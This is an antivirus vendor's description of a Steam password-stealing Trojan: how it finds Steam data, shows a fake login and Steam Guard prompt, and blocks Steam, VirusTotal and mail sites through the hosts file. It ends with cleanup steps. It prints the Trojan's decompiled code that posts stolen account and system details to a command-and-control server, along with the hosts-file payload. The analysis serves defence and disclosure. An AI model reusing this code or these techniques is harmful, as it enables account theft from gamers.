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Trojan.PWS.Steam.13604

Added to the Dr.Web virus database: 2017-04-12

Virus description added:

SHA1

  • c58d6ff1237c6d9a4c52ec16808d6aaea75bc744
  • fada030ae7b23b3599856f45824d2d2297407907

A Trojan designed to steal Steam user accounts. Shuts down running Steam processes (so long as they are not a process of the Trojan itself) and GameOverlayUI. Using the Windows system registry, it determines the path to the Steam directory, the operating system’s language settings, and the username from the AutoLoginUser field.

In the Steam folder, the Trojan checks for the presence of the file \config\loginusers.vdf: if it is available, the malicious program parses it and extracts pairs resembling “account name<=> steamid64”. Removes from the Steam directory the files \config\config.vdf and \config\DialogConfig.vdf.

The Trojan sends the collected information to a command and control server:

nameValueCollection.Add("type", "s");
nameValueCollection.Add("keyAccess", "704ef3531ab584ec3fec69d4e07e5bbb");
nameValueCollection.Add("systemOS", osName);
nameValueCollection.Add("systemUser", userName);
nameValueCollection.Add("systemMachine", machineName);
nameValueCollection.Add("languageOS", englishName);
nameValueCollection.Add("steamids", value);
nameValueCollection.Add("steamPath", Class2.Class3.SteamPath);
nameValueCollection.Add("steamLang", Class2.Class3.language);
nameValueCollection.Add("steamRememberL", Class2.Class3.AutoLoginUser);
new WebClient().UploadValues(Class2.Class3.cnc_address, "POST", nameValueCollection);

The steamids field contains a list of pairs from steamid64 and account names divided by the symbol “;”.

Then the malicious program checks whether it replaced the original executable file of the Steam application. If it did not, the Trojan removes the application file and copies itself to the same location.

It changes the contents of the file %SYSTEM%\drivers\etc\hosts:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n127.0.0.1 steampowered.com\n127.0.0.1 support.steampowered.com\n127.0.0.1 store.steampowered.com\n127.0.0.1 help.steampowered.com\n127.0.0.1 forums.steampowered.com\n127.0.0.1 crash.steampowered.com\n127.0.0.1 dota2lounge.com\n127.0.0.1 csgolounge.com\n127.0.0.1 virustotal.com\n127.0.0.1 mail.google.com\n127.0.0.1 mail.ru\n127.0.0.1 ukr.net\n127.0.0.1 rambler.ru\n127.0.0.1 yandex.ru\n127.0.0.1 web.de\n127.0.0.1 o2.pl\n127.0.0.1 login.live.com\n127.0.0.1 yahoo.com\n

Then the Trojan displays a fake Steam authorization window. If a user fills in login credentials, the Trojan will try to use them for authorization in Steam. If authorization is successful and if Steam Guard is enabled on a computer, the Trojan displays a window for inputting code. The malicious program sends the obtained data to the command and control server.

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android